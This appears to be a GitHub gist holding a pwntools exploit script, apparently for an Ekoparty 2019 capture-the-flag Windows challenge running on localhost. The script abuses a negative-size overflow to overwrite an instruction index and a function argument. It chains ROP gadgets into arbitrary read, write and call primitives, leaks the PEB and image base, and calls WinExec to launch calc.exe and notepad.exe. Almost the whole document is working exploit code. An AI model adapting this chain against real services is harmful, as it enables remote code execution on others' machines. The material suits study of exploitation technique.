Skip to content

Instantly share code, notes, and snippets.

@segura2010
Created September 13, 2019 18:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save segura2010/e3f7ee338f07a9be11a221f2c531de44 to your computer and use it in GitHub Desktop.
Save segura2010/e3f7ee338f07a9be11a221f2c531de44 to your computer and use it in GitHub Desktop.
from pwn import *
IP = 'localhost'
PORT = 54321
s = None
def send_msg(msg, size):
s = remote(IP, PORT)
COOKIE = "Eko2019\x00"
s.send(COOKIE + pack(size, 64, 'little', True))
s.send(msg)
r = None
try:
r = s.recv()
except:
pass
s.close()
return r
def read_value(addr):
payload = "\x90"*0x200 # buffer
payload += p64(0x3e) # overwrite instruction index local var (push mov..)
payload += p64(addr) # overwrite first arg to overwritten func
return u64(send_msg(payload, -0x210))
def call_addr(addr):
payload = "\x90"*0x200 # buffer
payload += p64(0x51) # overwrite instruction index local var (push rcx)
payload += p64(addr) # overwrite first arg to overwritten func
return u64(send_msg(payload, -0x210))
def call_addr_param(base, addr, param):
# (We will use the overwritten function to start our ROP, using push rcx; to then ret to our first gadget)
# We need to clean the stack (104 bytes of "trash" until our controlled packet buffer in the stack)
# 0x0000000140007880 : add rsp, 0x60 ; pop rdi ; ret ; With this gadget we clean the stack and we are at the start of our message packet
# 0x0000000140006409 : pop rbp ; pop rbx ; ret ; with this we control RBX (one more pop just for padding..)
# 0x0000000140001167 : pop rax ; ret ; with this we control RAX
# 0x000000014000284a : mov rcx, rbx ; call rax
# gadgets
CLEAN_104BYTES = base + 0x7880
PRAX = base + 0x1167
PRDI = base + 0x1991
PPRBX = base + 0x6409
WRITE_RDI = base + 0x323c
CLEAN_1e8bytes = base + 0x109a
PPPR = base + 0x6408
M_RCX_RBX = base + 0x284a
payload = ""
# ROP
payload += p64(PPRBX)
payload += p64(0x0) # padding
payload += p64(param)
payload += p64(PRAX)
payload += p64(CLEAN_1e8bytes) # RAX value which will be used for CALL RAX ; it should be the CLEAN GADGET
payload += p64(M_RCX_RBX)
padding = 0x200 - len(payload)
payload += "\x90"*padding
payload += p64(0x51) # overwrite instruction index local var (push rcx; the we will ret to this to start the ROP gadget)
payload += p64(CLEAN_104BYTES) # overwrite first arg to overwritten func
payload += p64(PPPR) # CLEAN_1e8bytes RET (we need 3 more pops to clean the stack and then return to MAIN)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(addr) # RET to the function I want to call; then it will ret to MAIN
return send_msg(payload, -0x210)
def write_value(base, addr, value):
# (We will use the overwritten function to start our ROP, using push rcx; to then ret to our first gadget)
# We need to clean the stack (104 bytes of "trash" until our controlled packet buffer in the stack)
# 0x0000000140007880 : add rsp, 0x60 ; pop rdi ; ret ; With this gadget we clean the stack and we are at the start of our message packet
# 0x0000000140001167 : pop rax ; ret ; with this we control RAX
# 0x0000000140001991 : pop rdi ; ret ; With this we control RDI
# 0x00000001400016f9 : pop rbx ; ret ; with this we control RBX (start in pop rbx)
# 0x000000014000323c : mov qword ptr [rdi], rax ; call rbx ; with this we write on RDI ptr, and the we call RBX (RBX MUST BE ANOTHER GADGET TO CLEAN THE STACK AND RETURN TO MAIN)
# 0x000000014000109a : add rsp, 0x1e8 ; ret ; CLEAN
# 0x0000000140006408 : pop rsi ; pop rbp ; pop rbx ; ret ; CLEAN AND RET TO MAIN
# gadgets
CLEAN_104BYTES = base + 0x7880
PRAX = base + 0x1167
PRDI = base + 0x1991
PRBX = base + 0x16f9
WRITE_RDI = base + 0x323c
CLEAN_1e8bytes = base + 0x109a
PPPR = base + 0x6408
payload = ""
# ROP
payload += p64(PRAX)
payload += p64(value)
payload += p64(PRDI)
payload += p64(addr)
payload += p64(PRBX)
payload += p64(CLEAN_1e8bytes) # RBX value which will be used for call rbx
payload += p64(WRITE_RDI)
padding = 0x200 - len(payload)
payload += "\x90"*padding
payload += p64(0x51) # overwrite instruction index local var (push rcx; the we will ret to this to start the ROP gadget)
payload += p64(CLEAN_104BYTES) # overwrite first arg to overwritten func
payload += p64(0x0) # padding..
payload += p64(PPPR) # CLEAN_1e8bytes RET (we need 3 more pops to clean the stack and then return to MAIN)
return send_msg(payload, -0x210)
def just_send_index(index):
payload = "\x90"*0x200
payload += pack(index, 64, 'little', True)
return u64(send_msg(payload, -0x210))
def send_index_and_rcx(index, rcx):
payload = "\x90"*0x200
payload += pack(index, 64, 'little', True)
payload += p64(rcx)
return u64(send_msg(payload, -0x210))
def main():
#less_significant_bits = just_send_index(0xb1) # overwrite instruction index local var (mov cl, 0x48)
#print("Less significant bytes: {}".format(hex(less_significant_bits)))
PEB = send_index_and_rcx(0x65, 0x60) # mov rax,QWORD PTR gs:[rcx] ; leak PEB address
print("PEB: {}".format(hex(PEB)))
eko_base = read_value(PEB + 0x10) # mov rax,QWORD PTR [rcx] ; leak base address saved in PEB+0x10
#eko_base = (less_significant_bits - 0xe510) + 0x7ff700000000
WinExec_offset = 0x9010
GetEnvironmentStringsW_offset = 0x90C8
print("eko_text_base: {}".format(hex(eko_base)))
WinExec = read_value(eko_base + WinExec_offset)
print("WinExec: {}".format(hex(WinExec)))
mybuff = eko_base + 0xe510
write_value(eko_base, mybuff, u64("calc.exe"))
write_value(eko_base, mybuff+8, 0x0)
call_addr_param(eko_base, WinExec, mybuff)
write_value(eko_base, mybuff, u64("notepad."))
write_value(eko_base, mybuff+8, u64("exe"+"\x00"*5))
call_addr_param(eko_base, WinExec, mybuff)
main()
'''
When the overwritten function is called I have:
r8 = some place in the stack
r9 = some place in the stack = RSP-0x5f (95)
Statck Cookie is at offset: 0xC240
RCX (first arg) = 0xD4E0 (offset)
Array of instructions only change the first byte:
XX 48 B8 01 C3 C3 C3 C3
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment